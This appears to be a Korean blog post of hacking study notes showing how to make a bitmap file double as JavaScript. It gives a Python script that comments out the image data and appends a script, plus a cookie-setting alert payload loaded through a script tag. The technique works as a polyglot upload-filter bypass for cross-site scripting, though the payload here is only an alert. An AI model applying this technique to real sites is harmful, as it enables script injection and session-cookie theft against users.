이미지 해킹
- 이미지 파일에 스크립트 추가하여 해킹 도구를 활용 가능
- 비트맵 파일에 js 삽입해보자
비트맵 파일
- 구성 : 매직 넘버, 데이터
- 매직 넘버 : 첫 2바이트, 비트맵 파일임을 식별
- 다음 4바이트 : 비트맵 파일 크기 표기
비트맵에 삽입할 스크립트 작성
- 브라우저의 쿠키를 저장하고 알람 창으로 출력하는 스크립트
name = 'id';
value = 'Mammamia';
var todayDate = new Date();
todayDate.setHours(todayDate.getDate() + 7); //쿠키 유효기간
document.cookie = name + "=" + escape(value) + "; path=/expires="
+ todayDate.toGMTString() + ""; //쿠키 생성
alert(document.cookie)
비트맵 파일에 스크립트 추가하는 코드
- 매직파일 뒤 데이터 부분은 주석
- 주석처리된 데이터 영역 이후로 js코드 삽입
# -*- coding: utf-8 -*-
fname = "windows/hello.bmp"
pfile = open(fname, "r+b")
buff = pfile.read()
# *와 /를 공백으로 리플레이스
buff.replace(b'\x2A\x2F', b'\x00\x00')
pfile.close()
pfile = open(fname,"w+b")
pfile.write(buff)
#커서를 앞에서 2바이트 뒤로 이동 -> 매직넘버 바로뒤
pfile.seek(2,0)
#주석문 샆입 /* \x2F -> /, \x2A -> *
pfile.write(b'\x2F\x2A')
pfile.close()
pfile = open(fname, "a+b") #append binary mode
#fname 파일 맨 뒤에 주석문 닫는 */추가 -> 비트맵의 데이터 영역 전체가 주석처리
pfile.write(b'\xFF\x2A\x2F\x3D\x31\x3B')
#주석 처리된 데이터 영역 뒤에 js 코드 삽입
pfile.write(open('windows/2_hello.js','rb').read())
pfile.close()
비트맵 파일 hello.bmp
- 이미지
바이너리 에디터로 본 비트맵
- 첫 2비트는 매직 비트로 42, 4D = BM -> 비트맵 파일 의미
이미지 해킹 후 바이너리 에디터
- 매직넘버뒤에 주석문 /* 추가
- 맨 바닥에 주석 닫고 */
- js 코드 삽입됨
hello.bmp를 열고, 스크립트 동작하는 html 코드 작성
<img src="hello.bmp"/>
<script src="hello.bmp"></script>
- 이미지에 삽입한 js코드를 이용해 alert 띄우는건 성공했다.
- 오타때문인지 내용은 안뜨지만
- 개발자 도구로도 이미지 맨 끝에 js 코드가 추가된것을 확인할 수 있다.
=> 정상적인 이미지에 이런식으로 코드 삽입이 가능하다.
'컴퓨터과학 > 통신, 보안' 카테고리의 다른 글
네트워크 기초 복습 (0) | 2021.03.05 |
---|---|
해킹 - 6. 키보드 후킹 (0) | 2020.07.29 |
해킹 - 5. 후킹 (0) | 2020.07.29 |
해킹 - 4. 윈도우 어플 해킹 개요 (0) | 2020.07.29 |
해킹 - 3. 관련 용어 (0) | 2020.07.28 |